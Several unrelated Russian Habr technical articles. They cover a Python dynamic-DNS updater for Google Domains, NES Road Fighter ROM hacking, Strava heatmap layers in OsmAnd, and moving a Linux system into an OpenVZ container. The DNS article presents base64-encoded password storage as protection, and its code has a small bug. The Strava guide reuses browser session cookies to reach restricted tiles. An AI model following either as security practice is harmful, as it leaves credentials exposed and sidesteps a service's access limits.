logging.warning(log_msg)
```
Одна вещь, которая немного беспокоит здесь, — это сохранение вашего пароля от учетки Gmail в переменной, поэтому я решил на этом этапе хотя бы немного зашифровать его, добавив один уровень кодирования к паролю перед его сохранением. Опять же, есть много способов, которые могут предложить более или менее сносную защиту, но я решил, что для моих целей будет в достаточной мере надежно, если пароль будет закодирован в base64 при сохранении на сервере, поэтому я написал следующие функций: одна для кодирования/сохранения пароля и одна для получения/декодирования сохраненного пароля:
```
def enc_pwd():
pwd = base64.b64encode(getpass("What's your email password?: ").encode("utf-8"))
with open('cred.txt', 'wb') as f:
f.write(pwd)
def read_pwd():
if os.path.isfile(f"{CWD}/cred.txt"):
with open(f'{CWD}/cred.txt', 'r') as f:
if f.read():
password = base64.b64decode(pwd).decode('utf-8')
logging.info('Password read successfully')
return password
else:
enc_pwd()
read_pwd()
else:
enc_pwd()
read_pwd()
```
Теперь я мог бы заменить константу GMAIL\_PASSWORD из функции уведомления на функцию read\_pwd() (которая возвращает декодированный пароль), что всяко безопаснее.
Последнее, что мне нужно, чтобы программа стала эффективной, — это дописать функцию, которая свяжет всё вместе и сохранит/сравнит IP-адреса:
```
def check_ip():
if os.path.isfile('ip.txt'):
# Снова проверим предыдущий IP
with open('ip.txt', 'r') as rf:
line = rf.readlines()
if not line:
first_run = True
elif line[0] == IP:
first_run = False
change = False
else:
first_run = False
change = True
else:
first_run = True
if first_run or change:
# Запишем новый IP в файл
with open('ip.txt', 'w') as wf:
if first_run:
wf.write(IP)
elif change:
wf.write(IP)
# Уведомим пользователя:
send_notification(IP)
time.sleep(21600) # в окончательной версии на моем боевом веб-сервере я удалил это 6-часовое ожидание и рекурсивный вызов в конце и просто добавил скрипт в crontab для запуска один раз в час. Мне также пришлось сделать все пути к файлам абсолютными, поскольку по умолчанию для crontab рабочий каталог - '/'.
check_ip()
```
Бум! Это была первая реализация моей идеи. Когда я получаю уведомление по электронной почте, я могу просто изменить правила переадресации на сайте domains.google.com…
*Стоп, что? Мне все еще нужно это делать самому? Конечно нет, есть способ проще!*
Что ж, оказывается, есть два способа автоматизировать это — один значительно менее эффективный, но бесконечно более захватывающий, а другой довольно скучный, но бесконечно более эффективный! Я начну, как и сделал, с захватывающего и сложного способа: слышали когда-нибудь о Selenium для автоматизации тестирования веб-сайтов? Я решил написать сценарий, который будет физически входить в домены Google и перемещаться по сайту, чтобы изменить правила для меня, если и когда изменится IP. Однако это приводило к следующим проблемам:
Прежде всего, Google Domains (и другие сервисы Google, такие как Gmail) довольно хорошо обнаруживают автоматизацию браузера и просто не позволяют вам войти в систему через веб-драйвер Selenium. Мне посчастливилось найти [этот ответ](https://stackoverflow.com/questions/59514049/unable-to-sign-into-google-with-selenium-automation-because-of-this-browser-or) (есть и другие решения) в Stack Overflow, который предлагал войти в сам Stack Overflow с вашей учетной записью Google, прежде чем переключаться на желаемую службу Google, что действительно работало, пока я не брал под контроль браузер и при необходимости не вводил капчу. Со скриптом, запущенным на моем ноутбуке или десктопе, это замечательно — тем более, что после первоначальной проверки Captcha StackOverflow, похоже, больше не проверял тот же компьютер, поэтому после этого веб-драйвер можно было запустить в автономном режиме, но это не подходит для веб-сервера! Хотя я мог заставить веб-драйвер нормально работать с помощью PyVirtualDisplay и Geckodriver (веб-драйвер для Firefox), ему удавалось только один раз попасть на желаемую страницу «Мои домены», а в других случаях вообще не мог войти в систему из-за Captcha.
После того, как я провозился с этим и пытался дебежить/работать над этим полдня, я решил, что это безнадежное дело, так как в любом случае всё, что потребуется, — это немного изменить одну из страниц, на которой я просматривал информацию, и вся работа скрипта будет нарушена. Поэтому я решил прибегнуть к скучному методу, который до сих пор я по глупости не изучал очень глубоко.
Так уж получилось, что у Google Domains есть API именно для той цели, которая мне нужна. Я изначально отклонил APi, когда не смог заставить его работать с правилами переадресации поддоменов, которые я использовал, не понимая, что API предназначен для изменения правил **динамического DNS** — **[эта документация](https://support.google.com/domains/answer/6147083?hl=en-CA)** стала намного более понятной после того, как я настроил запись динамического DNS вместо стандартного правила «Переадресация поддоменов» (спасибо [Джереми Гейлу](https://medium.com/u/57d467229a39?source=post_page-----246570b26d88--------------------------------) за его **[отличный урок](https://medium.com/@jeremygale/how-to-set-up-a-free-dynamic-hostname-with-ssl-cert-using-google-domains-58929fdfbb7a)** о том, как сделать что-то подобное с помощью простого сценария bash, который помог мне победить эту проблему!)
Раздел «Synthetic records» на странице конфигурации DNS Google Domains должен выглядеть следующим образом:
Затем вы получите автоматически сгенерированные учетные данные, необходимые для аутентификации с помощью API:
Теперь, зная этот метод, я смог значительно уменьшить длину и нагрузку на скрипт! TTL динамического DNS также очень низок, по умолчанию: 1 мин, что сокращает возможное время простоя — ещё один дополнительный бонус. Всё, что мне было нужно, это включить вызов API в мою функцию check\_ip(), и он сделает все за меня! И эта единственная строка кода (2 с вызовом логирования) выглядит так:
```
req = requests.post(f'https://:@domains.google.com/nic/update?hostname=@.example.com&myip={IP}')
logging.info(req.content)
```
Я заключил всё в блок try / except, чтобы перехватить любые исключения, и таким образом этот довольно простой, но удивительно полезный скрипт был почти готов. Теперь осталось только добавить его в crontab на моем веб-сервере и дать ему работать, и (теоретически) мне больше не придется беспокоиться о смене IP!
Стоп! … Время рефакторинга
--------------------------
Так, вот, о чем я позаботился! Чтобы сделать этот скрипт универсально доступным, я реорганизовал всё, чтобы использовать более объектно-ориентированный подход, основанный на классах, с классами `User` и `IpChanger`. Класс `User` содержит все учетные данные для входа в smtp и вызова API domains.google, а первый созданный экземпляр вместе с атрибутом `previous_ip`, для проверки, сохраняется в одном pickle файле (аналогично сериализации в JavaScript); в будущих экземплярах класса `User()` пользовательский экземпляр создается из pickle, если не указано иное. Класс `User` также содержит метод уведомления пользователя по электронной почте, который теперь включает условие ошибки на случай сбоя вызова API. Затем класс `IpChanger` вызывает класс `User()` каждый раз, когда он создается, а также выполняет все различные проверки и запросы, поэтому вы просто инициализируете класс `IpChanger()` и всё; он работает! Я также добавил несколько различных вариантов для уведомлений по электронной почте, более конкретную обработку ошибок/логирование, некоторые аргументы/параметры командной строки для управления профилем пользователя, а также смог избавиться от неуклюжей обработки файла `ip.txt`, сохранив всё в одном пользовательском экземпляре.
Готовый, практически уникальный (!) результат можно увидеть ниже во всей его полноте, а также его можно форкнуть/клонировать с [моего GitHub](https://github.com/nihilok/ipChecker) (включая README.md с инструкциями по установке). Я также выпустил его как пакет Python на pypi.org, который вы можете просмотреть [здесь](http://pypi.org/project/domains-api) или установить обычным способом с помощью: `pip install domains-api`
Любые вопросы, отзывы или предложения — пишите!
---
Какие ещё методы стабильной работы веб-сервера без статического адреса вы знаете? И как можно доработать это решение?
**Полный скрипт (без file\_handlers.py):**
```
import os
import sys
import getopt
import base64
import smtplib
from email.message import EmailMessage
from getpass import getpass
from itertools import cycle
from requests import get, post
from requests.exceptions import ConnectionError as ReqConError
from domains_api.file_handlers import FileHandlers
fh = FileHandlers()
def get_ip_only():
"""Gets current external IP from ipify.org"""
current_ip = get('https://api.ipify.org').text
return current_ip
class User:
BASE_URL = '@domains.google.com/nic/update?hostname='
def __init__(self):
"""Create user instance and save it for future changes to API and for email notifications."""
self.domain, self.dns_username, self.dns_password, self.req_url = self.set_credentials()
self.notifications, self.gmail_address, self.gmail_password = self.set_email()
self.outbox = []
def set_credentials(self):
"""Set/return attributes for Google Domains credentials"""
self.domain = input("What's your domain? (example.com / subdomain.example.com): ")
self.dns_username = input("What's your autogenerated dns username?: ")
self.dns_password = getpass("What's your autogenerated dns password?: ")
self.req_url = f'https://{self.dns_username}:{self.dns_password}{self.BASE_URL}{self.domain}'
return self.domain, self.dns_username, self.dns_password, self.req_url
def set_email(self):
"""Set/return attributes for Gmail credentials if user enables notifications"""
self.notifications = input("Enable email notifications? [Y]all(default); [e]errors only; [n]no: ").lower()
if self.notifications != 'n':
self.gmail_address = input("What's your email address?: ")
self.gmail_password = base64.b64encode(getpass("What's your email password?: ").encode("utf-8"))
if self.notifications != 'e':
self.notifications = 'Y'
return self.notifications, self.gmail_address, self.gmail_password
else:
return 'n', None, None
def send_notification(self, ip=None, msg_type='success', error=None, outbox_msg=None):
"""Notify user via email if IP change is made successfully or if API call fails."""
if self.notifications != 'n':
msg = EmailMessage()
msg['From'] = self.gmail_address
msg['To'] = self.gmail_address
if ip and msg_type == 'success' and self.notifications not in {'n', 'e'}:
msg.set_content(f'IP for {self.domain} has changed! New IP: {ip}')
msg['Subject'] = 'IP CHANGED!'
elif msg_type == 'error' and self.notifications != 'n':
msg.set_content(f"Error with {self.domain}'s IPChanger: ({error})!")
msg['Subject'] = 'IPCHANGER ERROR!'
elif outbox_msg:
msg = outbox_msg
try:
server = smtplib.SMTP_SSL('smtp.gmail.com', 465)
server.ehlo()
server.login(self.gmail_address, base64.b64decode(self.gmail_password).decode('utf-8'))
server.send_message(msg)
server.close()
return True
except Exception as e:
log_msg = 'Email notification not sent: %s' % e
fh.log(log_msg, 'warning')
self.outbox.append(msg)
fh.save_user(self)
sys.exit(1)
class IPChanger:
ARG_STRING = 'cdehinu:'
ARG_LIST = ['credentials',
'delete_user',
'email',
'help',
'ip',
'notifications',
'user_load=']
def __init__(self, argv=None):
"""Check for command line arguments, load/create User instance,
check previous IP address against current external IP, and change via the API if different."""
# Load old user, or create new one:
if os.path.isfile(fh.user_file):
self.user = fh.load_user(fh.user_file)
fh.log('User loaded from pickle', 'debug')
else:
self.user = User()
fh.log('New user created.\n(See `python -m domains_api --help` for help changing/removing the user)', 'info')
self.current_ip = self.get_set_ip()
# Parse command line options:
try:
opts, _args = getopt.getopt(argv, self.ARG_STRING, self.ARG_LIST)
except getopt.GetoptError:
print('''Usage:
python/python3 -m domains_api --help''')
sys.exit(2)
if opts:
self.arg_parse(opts)
# Check IPs:
try:
if self.user.previous_ip == self.current_ip:
log_msg = 'Current IP: %s (no change)' % self.user.previous_ip
else:
self.user.previous_ip = self.current_ip
fh.save_user(self.user)
self.domains_api_call()
log_msg = 'Newly recorded IP: %s' % self.user.previous_ip
fh.log(log_msg, 'info')
except AttributeError:
setattr(self.user, 'previous_ip', self.current_ip)
fh.save_user(self.user)
self.domains_api_call()
finally:
if fh.op_sys == 'pos' and os.geteuid() == 0:
fh.set_permissions(fh.user_file)
# Send outbox emails:
if self.user.outbox:
for i in range(len(self.user.outbox)):
self.user.send_notification(outbox_msg=self.user.outbox.pop(i))
fh.log('Outbox message sent', 'info')
fh.save_user(self.user)
fh.clear_logs()
def get_set_ip(self):
"""Gets current external IP from api.ipify.org and sets self.current_ip"""
try:
return get_ip_only()
except (ReqConError, ConnectionError) as e:
fh.log('Connection Error. Could not reach api.ipify.org', 'warning')
self.user.send_notification(msg_type='error', error=e)
def domains_api_call(self):
"""Attempt to change the Dynamic DNS rules via the Google Domains API and handle response codes"""
try:
req = post(f'{self.user.req_url}&myip={self.current_ip}')
response = req.text
log_msg = 'Google Domains API response: %s' % response
fh.log(log_msg, 'info')
# Successful request:
_response = response.split(' ')
if 'good' in _response or 'nochg' in _response:
self.user.send_notification(self.current_ip)
# Unsuccessful requests:
elif response in {'nohost', 'notfqdn'}:
msg = "The hostname does not exist, is not a fully qualified domain" \
" or does not have Dynamic DNS enabled. The script will not be " \
"able to run until you fix this. See https://support.google.com/domains/answer/6147083?hl=en-CA" \
" for API documentation"
fh.log(msg, 'warning')
if input("Recreate the API profile? (Y/n):").lower() != 'n':
self.user.set_credentials()
self.domains_api_call()
else:
self.user.send_notification(self.current_ip, 'error', msg)
else:
fh.log("Could not authenticate with these credentials", 'warning')
if input("Recreate the API profile? (Y/n):").lower() != 'n':
self.user.set_credentials()
self.domains_api_call()
else:
fh.delete_user()
fh.log('API authentication failed, user profile deleted', 'warning')
sys.exit(1)
# Local connection related errors
except (ConnectionError, ReqConError) as e:
log_msg = 'Connection Error: %s' % e
fh.log(log_msg, 'warning')
self.user.send_notification(msg_type='error', error=e)
def arg_parse(self, opts):
"""Parses command line options: e.g. "python -m domains_api --help" """
for opt, arg in opts:
if opt in {'-i', '--ip'}:
print('''
[Domains API] Current external IP: %s
''' % get_ip_only())
elif opt in {'-h', '--help'}:
print(
"""
domains-api help manual (command line options):
```
```
You will need your autogenerated Dynamic DNS keys from
https://domains.google.com/registrar/example.com/dns
to create a user profile.
python -m domains_api || -run the script normally without arguments
python -m domains_api -h --help || -show this help manual
python -m domains_api -i --ip || -show current external IP address
python -m domains_api -c --credentials || -change API credentials
python -m domains_api -e --email || -email set up wizard > use to delete email credentials (choose 'n')
python -m domains_api -n --notifications || -toggle email notification settings > will not delete email address
python -m domains_api -u user.file || (or "--user_load path/to/user.file") -load user from pickle file
python -m domains_api -d --delete_user || -delete current user profile
|| User files are stored in "/var/www/domains_api/domains.user"
"""
)
elif opt in {'-c', '--credentials'}:
self.user.set_credentials(update=True)
self.domains_api_call()
fh.save_user(self.user)
fh.log('API credentials changed', 'info')
elif opt in {'-d', '--delete'}:
fh.delete_user()
fh.log('User deleted', 'info')
print('>>>Run the script without options to create a new user, or '
'"python3 -m domains_api -u path/to/pickle" to load one from file')
elif opt in {'-e', '--email'}:
self.user.set_email()
fh.save_user(self.user)
fh.log('Notification settings changed', 'info')
elif opt in {'-n', '--notifications'}:
n_options = {'Y': '[all changes]', 'e': '[errors only]', 'n': '[none]'}
options_iter = cycle(n_options.keys())
for option in options_iter:
if self.user.notifications == option:
break
self.user.notifications = next(options_iter)
fh.save_user(self.user)
log_msg = 'Notification settings changed to %s' % n_options[self.user.notifications]
fh.log(log_msg, 'info')
if self.user.notifications in {'Y', 'e'} and not self.user.gmail_address:
fh.log('No email user set, running email set up wizard...', 'info')
self.user.set_email()
fh.save_user(self.user)
elif opt in {'-u', '--user_load'}:
try:
self.user = fh.load_user(arg)
fh.save_user(self.user)
fh.log('User loaded', 'info')
except FileNotFoundError as e:
fh.log(e, 'warning')
sys.exit(2)
sys.exit()
```
if **name** == "**main**":
IPChanger(sys.argv[1:]) | https://habr.com/ru/post/557126/ | null | ru | null |
# Хакинг Dendy игр. На примере Road Fighter
Я хочу рассказать про принцип хакинга игрушек для игровой приставки Dendy (она же Nintendo Entertainment System, она же Famicom, она же 100500 китайских клонов, далее по тексту просто NES).
Хакинг (а точнее модинг, но в эмусцене более распространён термин «ROMхакинг») игры будет заключаться в частичном дизассемблировании кода игры и написания своего небольшого кода. Принципиально РОМхакинг почти не отличается от обычного «крэкинга» программ или написания трейнеров для игр.
Жертвой будет небольшая игрушка, завсегдатая китайских катриджей многоигровок 9999999 in 1, игра Road Fighter.
Это достаточно простая гонка, занимает мало объёма и идеально подходит для экспериментов. В этой игре есть возможность перемещать автомобиль только влево или вправо по экрану. Гэймплэйно это оправдано, но хочется чего-то больше. Для начала я введу возможность перемещать наш гоночный автомобиль вперёд и назад.
Итак, что для это нам надо:
* Эмулятор NES со встроенным отладчиком ( либо тяжёлая артиллерия в виде IDA по вкусу). В качестве эмулятора рекомендую FCEUX-2 последней версии (<http://fceux.com>)
* Сам РОМ файл игры
* Любимый Hex редактор
* Компилятор под процессор MSC6502 (необязательно, но желательно)
Ром файл и компилятор можно будет взять по ссылке в конце статьи.
Когда инструментами и самим препарируемым запаслись, не помешало бы разобраться в некоторых тонкостях архитектуры приставки NES. Документации как по процессору, так и по приставке достаточно, поэтому кратко затрону только основные моменты. Следующий абзац текста вполне можно пропустить.
Процессор 6502 является 8-ми битным, но имеет 16-ти битную шину адреса и может работать с диапазоном адресов 0h-FFFFh. При этом на RAM отводятся первые 7FFh байт (2КБ), далее идут некоторые специфичные вещи, а на сам код отводится диапазон 8000h-FFFFh (32КБ). Если в указанный объём код игры не помещается, используется специальный механизм – «мапперы». Мапперы имеют возможность переключать участки кода в адресном пространстве процессора. То есть, временно подменять один участок кода другим, тем самым подгружая нужные данные… Мапперы оперируют блоками памяти («банками») по 16 КБ. Технически мапперы являются микросхемами на плате катриджа, и в самом ROM файле отражения не имеют.
**Шаг номер один. Расширяем РОМ файл.**
Итак, запускаем эмулятор FCEUX, загружаем нашего пациента и заходим в меню Help->Message Log.
Видим примерно следующее:
`PRG ROM: 1 x 16KiB
CHR ROM: 1 x 8KiB
..
Mapper #: 0
..`
Ром Road Fighter имеет объём 24КБ, из них 16КБ отводится на PRG-ROM (код и данные) и 8КБ на CHR-ROM (графика), а также использует нулевой маппер (т.е. маппер отсутствует). Как видно, РОМ можно легко расширить добавив ещё один банк памяти на 16КБ. Это нужно для того, что бы было куда добавлять наш код.
Для начала откроем встроенный Hex Editor из меню Debug. Переходим на адрес $8000, а потом на адрес $C000 и видим что они содержат одинаковые данные. Причём данные отзеркаливаются в диапазон $8000-$C000 (в этом легко убедится если поставить брикпоинт на этот диапазон, он ни разу не сработает). Теперь открываем РОМ в любом хекс редакторе и правим заголовок, он имеет следующий формат:
`0-3 Строка "NES^Z" "^Z" = 0x1A
4 Количество 16КБ банков PRG.
5 Количество 8КБ банков CHR.
6 бит 7-4 Эти 4 бита - младшие биты номера типа маппера ROM.
- бит 3 1 для 4-х экранного VRAM.
- бит 2 1 для 512-ти байтного тренера по адресам $7000-$71FF.
- бит 1 1 для энергонезависимого SRAM по адресам $6000-$7FFF.
- бит 0 1 для вертикального отражения, 0 для горизонтального отражения.
7 бит 7-4 Старшие 4 бита номера типа маппера ROM.
- бит 3-1 Резерв, должны быть 0!
- бит 0 1 для картриджей систем VS.
8 Количество 8КБ банков RAM. Для совместимости с предыдущими
- версиями формата .NES, использовать одну страницу 1x8КБ RAM когда
- этот байт равен 0.
9 бит 7-1 Резерв, должны быть 0.
- бит 0 1 для картриджей PAL, иначе для NTSC.
10-15 Резерв, должны быть 0!`
Выставляем количество PRG банков равным двум. Далее вставляем (но не перезаписываем!) в файл пустой блок размером 16КБ (4000h) сразу после заголовка. Теперь файл должен весить 40КБ.
**Шаг номер два. Ищем данные.**
Теперь нам нужно найти ячейку в ОЗУ отвечающую за координату Y автомобиля и ячейку с кодом нажатой клавиши. Это можно сделать с помощью встроенного в эмулятор инструмента RAM Search (меню Tools). В нашем же случае будет достаточно запустить эмуляторный HEX Editor, и просмотреть первые 100h байт глазами. Процессор имеет специальные «короткие инструкции» для быстрого обращения в этот диапазон, поэтому часто используемые данные находятся именно здесь. Если одновременно открыть главное окно эмулятора и окно Hex Editor’а, и понажимать «влево\вправо» (только не забудьте настроить управление), то можно увидеть, что соответственно меняются несколько ячеек. Нам нужны 07h – код клавиши и 65h – координата X. Логично предположить что координата Y находится рядом с координатой X, меняем ячейку 66h на произвольное число и вуаля – автомобиль переместился вдоль оси Y. Также на время тестов можно заморозить через контекстное меню хекс редактора ячейке C8h, в ней хранится количество топлива.
**Шаг номер три. Делаем врезку кода и ставим заглушку.**
Зная адреса нужных переменных можно уже написать свой код, но пока мы не знаем откуда его вызывать. Ставим брикпоинт на запись, на ячейку 65h (через контекстное меню в хексе или через отладчик), перемещаемся в игре влево\вправо и должно открыться окно отладчика со следующим кодом:
`01:D52B:E6 65 INC $0065 = #$64
01:D52D:60 RTS
01:D52E:C6 65 DEC $0065 = #$64
01:D530:60 RTS`
Отладчик изредка криво дизасмить команды, поэтому если прокрутить окно отладчика вверх, некоторые команды будут отображены неправильно. Прокрутив код немного вверх, либо пошагово дойдя до RTS, мы выйдем на адрес, откуда происходит вызов процедуры проверки кода клавиши и последующее движение автомобиля:
`01:D4D0:20 D9 D4 JSR $D4D9
01:D4D3:20 E1 D4 JSR $D4E1
01:D4D6:4C E9 D4 JMP $D4E9`
Заменим JSR $D4D9 на свой вызов процедуры — JSR $8000. Для этого достаточно нажать на полоску слева от адреса команды, и вбить нужную команду в инлайновом ассемблере. Используя пошаговую отладку перейдём на адрес $8000, и поставим заглушку в виде вырезанного JSR и последующего RTS из нашей процедуры:
`00:8000:20 D9 D4 JSR $D4D9
00:8003:60 RTS`
**Шаг номер четыре. Пишем код и вставляем его в РОМ.**
Создаём текстовый файл RoadFighter.asm и вписываем в него такой простенький код:
`$=$8000
LDA $07
AND #$04
BEQ checkUp
BNE backward:
checkUp:
LDA $0007
AND #$08
BEQ exitInject
forward:
LDA $66
CMP #$50 ; ставим ограничение на изменение переменной
BMI exitInject
DEC $0066
JMP exitInject
backward:
LDA $66
CMP #$B0
BPL exitInject
INC $0066
exitInject:
JSR $D4D9
RTS`
Теперь запускаем компилятор с параметрами “-l roadFighter”. На выходе будет файл листинга и бинарник. Открываем бинарник и копируем его содержимое в РОМ Road Fighter по смещению 10h.
**Шаг номер пять. Фини-та-ля.**
Если всё сделано правильно, то запустив модифицированный РОМ в эмуляторе, мы сможем перемещать нашу гоночную машинку вперёд и назад, тем самым удобнее сталкивать безобидных и не очень машинок на трассе (а за их уничтожение даются очки!).
Архив с компилятором, исходником, оригинальным ромом и модифицированным ромом – [RoadFighterModSource.zip](http://narod.ru/disk/22324767001/RoadFighterModSource.zip.html)(народ)
[RoadFighterModSource.zip](http://www.megaupload.com/?d=VS8W0DX7)(megaupload) | https://habr.com/ru/post/126720/ | null | ru | null |
# Настройка в OsmAnd карты слоя Strava heatmap
В приложении OsmAnd для телефонов на операционной системе android есть возможность добавления дополнительных слоев на карты OSM (Open Street Map). Полезным дополнением для вашей навигационной системы будет слой Strava heatmap, результат записанных во время путешествий и тренировок треков бегунов, велосипедистов, пловцов. Визуализация этих данных позволяет при навигации найти с одной стороны наиболее популярные маршруты, выделенные внушительными полосами, так и определить проходимость или проезжаемость участка на местности по тонким нитям одиночных треков.
С 2018 года Strava labs в свободном доступе предоставляет только тейлы низкого разрешения. Произошло это, по всей видимости, для “обеспечения безопасности” в ответ на публикации о массовом рассекречивании местоположения тренировок пользователей.
Для поиска популярных маршрутов низкой детализации вполне достаточно, но для того, чтобы оценить проходим ли участок местности нужны записи одиночных треков.
Приведу пример. На снимке карты экрана телефона видно, что спуск по тропе вниз с горы Ахун к Агурским водопадам (1) — это достаточно популярный пеший и вело (внимание, только для велоэкстремалов!) маршрут. А вот преодолеть склон 1.5 км от дороги к вершине Ахуна к каньону Чертовы ворота (2) на реке Хосте, конечному пункту Тисо-самшитовой тропы (3), при всей соблазнительности такой прогулки вряд ли получится. При приближении карты будет видно по одиночным трекам, что попытки такого очевидного челленджа были, но все закончились неудачно.
Подключение OsmAnd Strava heatmap в низком разрешении
=====================================================
Разберем как настроить слой Strava heatmap на вашем смартфоне. Для подключения heatmap в OsmAnd в низком разрешении создаем новый источник для слоя (Меню -> Настроить карту -> Источник карты -> Задать/отредактировать...)
Называем новый слой, например, HeatMap cycling (не детальная)
Задаем URL для скачивания тейлов:
```
https://heatmap-external-{switch:a,b,c}.strava.com/tiles/cycling/bluered/{0}/{1}/{2}.png?px=256
tiles/ - местоположение для анонимных тейлов
cycling/ - тейлы велотренировок, можете также установить представления ride, both, all
bluered/ - цветовая палитра, существуют еще варианты hot, grey
?px=256 - размер тейла для OsmAnd
```
Подобрать подходящее представление слоя в OsmAnd можно переключая настройки на карте Strava.
Для пешего туризма, например, настроить палитру bluered, а для велосипеда hot и переключать в зависимости от вашего путешествия. Различия у этих “хитмапов” минимальны, но иногда и эти различия важны. Там где, есть горная тропа и можно пройти, не всегда можно проехать.
Настройка детального слоя Strava heatmap
========================================
Для отображения детальных тейлов в вашем OsmAnd потребуется указать другой путь к изображениям (/tiles-auth/) и добавить в ссылку параметры авторизации, которые мы возьмем из браузерных cookies.
Пример ссылки:
```
https://heatmap-external-{switch:a,b,c}.strava.com/tiles-auth/running/bluered/{0}/{1}/{3}.png?px=256&Key-Pair-Id={ID}&Signature={Sig}&Policy={P}
Где:
{0} = zoom
{1} = x*
{2} = y*
{ID} = CloudFront-Key-Pair-Id
{Sig} = CloudFront-Signature
{P} = CloudFront-Policy
```
\*Значения zoom, x и y при использовании карты OsmAnd подставляются автоматически.
Подробнее о параметрах координат тайлов карт Google [здесь](https://developers.google.com/maps/documentation/javascript/coordinates#tile-coordinates).
Для получения параметров авторизации, войдите в свой аккаунт на Strava.com и скопируйте соответствующие значения cookies. В Chrome, наберите в адресной строке: chrome://settings/cookies/detail?site=strava.com. Для просмотра cookies в Firefox нажмите Shift+F9.
Пример значения поля Front-Policy для добавления в URL.
При копировании cookies обратите внимание на период действия, чтобы своевременно их заменить.
Кроме того, есть вариант, избавляющий от необходимости раз в 2 недели заменять cookie в приложении. В статье по ссылке описано решение для автоматического формирования авторизованного запроса для детальных слоев. [Автоматическая авторизация на карте Strava Heatmap](https://habr.com/ru/post/451620/). В англоязычном интернете я, кстати, подобного не нашел.
Возможно кто-то предложит и другие варианты для авторизованного запроса к картам Strava Heatmap, например, на основе самого OSMAnd. Напишите об этом в комментариях.
Установите регулировку прозрачности карты покрытия, с помощью этого ползунка можно настроить оптимальный вид карты.
Следите за размером папки data/net.osmand/files/tiles где кэшируются загруженные карты. У меня за 2 недели использования накопилось 0.5 Gb. При удалении папок с изображениями карт разного масштаба удаляйте и файл .metainfo, но директорию (название вашего слоя) сохраняйте.
### В заключение
Настраивайте свои карты в OsmAnd, наслаждайтесь популярными маршрутами, ищите труднопроходимые, но интересные, с осторожностью планируйте преодоление мест, где никто до вас не ходил или не ездил. Интересных и безопасных Вам путешествий! | https://habr.com/ru/post/450124/ | null | ru | null |
# Миграция ОС в OpenVZ контейнер
В данной заметке я хочу рассказать как просто перенести Linux систему с физического сервера или полной виртуализации (KVM,XEN,VMware) в контейнер OpenVZ. По данной теме достаточно материалов, но я расскажу о самом простом способе.
Для начала немного теоретических выкладок. Какие основные плюсы можно получить от контейнерной виртуализации:
* Минимальные накладные расходы на виртуализацию
* Прозрачность файловой системы контейнера с хост машины
* Высокая скорость загрузки контейнера
* Простота живой миграции
Но также есть и минусы:
* Контейнер виртуализации использует ядро хост системы
* В стандартные ядра популярных Linux дистрибутивов OpenVZ-патчи не входят
Мне понадобилось преобразовать виртуальную машину VMware с CentOS5. Конкретно меня заинтересовал проект [VirtualPBX](http://code.google.com/p/virtual-pbx/), нужная связка для его работы настраивается достаточно непросто, но автор проекта выкладывает VMware образ для быстрого развертывания, образ базируется на CentOS 5.
Итак, для начала скачиваем и запускаем образ VirtualPBX с помощью VMware player, работает все отлично, но для постоянной работы мне не удобно использовать VMware образ. В моем распоряжении находится несколько серверов [Proxmox VE 2.1](http://pve.proxmox.com/wiki/Main_Page) с KVM,OpenVZ виртуализацией и web-based управлением. Поэтому, недолго думая, приступаем к переносу VirtualPBX из VMware образа в контейнер OpenVZ. Для переноса ОС воспользуемся tar методом, в идеале лучше использовать для этого rsync.
На хосте с Proxmox скачаем шаблон для CentOS 5 и создадим СT контейнер с использованием данного шаблона, задав нужные вам параметры! Запускаем созданный контейнер и проверяем его работу (подключением через ssh или к консоли контейнера через web интерфейс Proxmox), далее остановим его и перейдем на машину, которую нужно перенести. Данные действия можно выполнить и из консоли Proxmox без использования web интерфейса.
На физической (VMware образе в моем случае) машине создаем файл с исключением каталогов и файлов для tar архивирования:
`# nano non_tar`
```
.bash_history
lost+found
/dev/*
/mnt/*
/tmp/*
/proc/*
/sys/*
/usr/src/*
/etc/shadow
/etc/inittab
/etc/mtab
/etc/rc.sysinit
/etc/fstab
/etc/sysconfig/network
/etc/modprobe.d/blacklist
/etc/resolv.conf
/etc/sysconfig/network-scripts/*
```
Далее архивируем корень операционной системы, исключая директории и файлы из созданного ранее списка:
`# tar --numeric-owner -czvf /tmp/virtualPBX_6309.tar.gz -X /root/non_tar /`
Копируем полученный архив через ssh на хост машину виртуализации (Внимание: копируется именно на хост машину, а не в контейнер):
`# scp virtualPBX_6309.tar.gz root@IP_OpenVZ_Host:/tmp`
Подключаемся на хост машину по ssh и переходим в каталог, где находится наша развернутая из шаблона CentOS 5 /var/lib/vz/private/100, где 100 — уникальный идентификатор OpenVZ виртуалки, соответственно у Вас, скорее всего, будет другой.
`# cd /var/lib/vz/private/100`
И разворачиваем наш архив поверх шаблона (убедитесь, что вы находитесь в директории недавно развернутого шаблона, чтобы не перезаписать корневой раздел хост машины или другого OpenVZ контейнера):
`# tar xvpfz /tmp/virtualPBX_6309.tar.gz`
В принципе, на этом этапе можно запустить наш контейнер и насладиться работой OC под OpenVZ c вашими настройками.
*Заметки на полях: Для интереса попробовал развернуть на шаблон CentOS 6, но виртуалка работала не совсем корректно, особо разбираться не стал, так как обычно предпочитаю использовать debian-based дистрибутивы.*
Приведенный способ очень прост, а если использовать для копирования rsync, то можно перенести ОС *почти* в реальном времени с минимальным простоем.
Хотелось бы еще сказать пару слов об обновлении VirtualPBX. Так как в образе содержатся не последние сборки проекта, сделаем маленький скрипт для обновления:
`# touch /usr/bin/virtualpbx`
`# chmod +x /usr/bin/virtualpbx`
`# nano /usr/bin/virtualpbx`
Добавим следующий код:
```
#!/bin/sh
read -p 'Введите номер-версию для обновления (например: 6446):' REPLY
wget http://virtual-pbx.googlecode.com/files/VirtualPBX-$REPLY.tgz && echo "Загрузка успешно" || echo
"Загрузка не удалась, возможно, введен неправильный номер сборки или поменялся метод нумерации проекта"
if [ -f VirtualPBX-$REPLY.tgz ]; then
tar -xzf VirtualPBX-$REPLY.tgz
rm -f VirtualPBX-$REPLY.tgz
cd VirtualPBX-$REPLY
rpm -Fvh *.rpm
if [ $? -eq 0 ]; then
echo "Обновление успешно!!!"
else
echo "Обновление завершилось неудачно!!!"
exit 1
fi
exit 0
else
echo "Обновление завершилось неудачно!!!"
fi
exit 1
```
Теперь для обновления достаточно дать команду
`# virtualpbx`
и ввести нужный номер ревизии для установки.
*Уже после написания черновика для статьи, узнал что автор предусмотрел проверку обновлений. Внутри есть скрипт /opt/VirtualPBX/contrib/utils/check\_updates.pl, раз в сутки он проверяет наличие обновлений и если находит апдейт, то в админском интерфейсе появляется красная надпись в верху.*
